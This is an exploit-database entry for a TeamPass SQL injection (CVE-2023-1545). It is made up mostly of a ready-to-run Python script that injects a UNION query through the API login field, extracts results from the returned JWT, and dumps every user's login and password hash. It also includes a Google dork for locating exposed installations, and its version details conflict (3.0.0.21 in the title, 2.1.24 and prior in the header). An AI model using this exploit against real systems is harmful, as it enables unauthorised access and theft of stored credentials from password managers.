TeamPass 3.0.0.21 SQL Injection

2025.03.22
Credit: Max Meyer
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89

# Exploit Title: TeamPass SQL Injection # Google Dork: intitle:"Teampass" + inurl:index.php?page=items # Date: 02/23/2025 # Exploit Author: Max Meyer - Rivendell # Vendor Homepage: http://www.teampass.net # Software Link: https://github.com/nilsteampassnet/TeamPass # Version: 2.1.24 and prior # Tested on: Windows/Linux # CVE : CVE-2023-1545 #!/usr/bin/env python3 import sys import json import base64 import logging import requests from typing import Optional, Dict, Any from dataclasses import dataclass # Configuração de logging logging.basicConfig( level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s' ) logger = logging.getLogger(__name__) @dataclass class TeamPassExploit: base_url: str arbitrary_hash: str = '$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq' def __post_init__(self): self.vulnerable_url = f"{self.base_url}/api/index.php/authorize" def check_api_enabled(self) -> bool: """Verifica se a API está habilitada.""" try: response = requests.get(self.vulnerable_url) if "API usage is not allowed" in response.text: logger.error("API feature is not enabled") return False return True except requests.RequestException as e: logger.error(f"Erro ao verificar API: {e}") return False def execute_sql(self, sql_query: str) -> Optional[str]: """Executa uma query SQL através da vulnerabilidade.""" try: inject = f"none' UNION SELECT id, '{self.arbitrary_hash}', ({sql_query}), private_key, " \ "personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' " \ "FROM teampass_users WHERE login='admin" data = { "login": inject, "password": "h4ck3d", "apikey": "foo" } response = requests.post( self.vulnerable_url, headers={"Content-Type": "application/json"}, json=data ) if not response.ok: logger.error(f"Erro na requisição: {response.status_code}") return None token = response.json().get('token') if not token: logger.error("Token não encontrado na resposta") return None # Decodifica o token JWT token_parts = token.split('.') if len(token_parts) < 2: logger.error("Token JWT inválido") return None payload = base64.b64decode(token_parts[1] + '=' * (-len(token_parts[1]) % 4)) return json.loads(payload).get('public_key') except Exception as e: logger.error(f"Erro ao executar SQL: {e}") return None def get_user_credentials(self) -> Optional[Dict[str, str]]: """Obtém credenciais de todos os usuários.""" try: # Obtém número total de usuários user_count = self.execute_sql("SELECT COUNT(*) FROM teampass_users WHERE pw != ''") if not user_count or not user_count.isdigit(): logger.error("Não foi possível obter o número de usuários") return None user_count = int(user_count) logger.info(f"Encontrados {user_count} usuários no sistema") credentials = {} for i in range(user_count): username = self.execute_sql( f"SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT {i},1" ) password = self.execute_sql( f"SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT {i},1" ) if username and password: credentials[username] = password logger.info(f"Credenciais obtidas para: {username}") return credentials except Exception as e: logger.error(f"Erro ao obter credenciais: {e}") return None def main(): if len(sys.argv) < 2: logger.error("Usage: python3 script.py <base-url>") sys.exit(1) exploit = TeamPassExploit(sys.argv[1]) if not exploit.check_api_enabled(): sys.exit(1) credentials = exploit.get_user_credentials() if credentials: print("\nCredenciais encontradas:") for username, password in credentials.items(): print(f"{username}: {password}") if __name__ == "__main__": main()


Vote for this issue:
50%
50%

Comment it here.

Copyright 2025, cxsecurity.com

 

Back to Top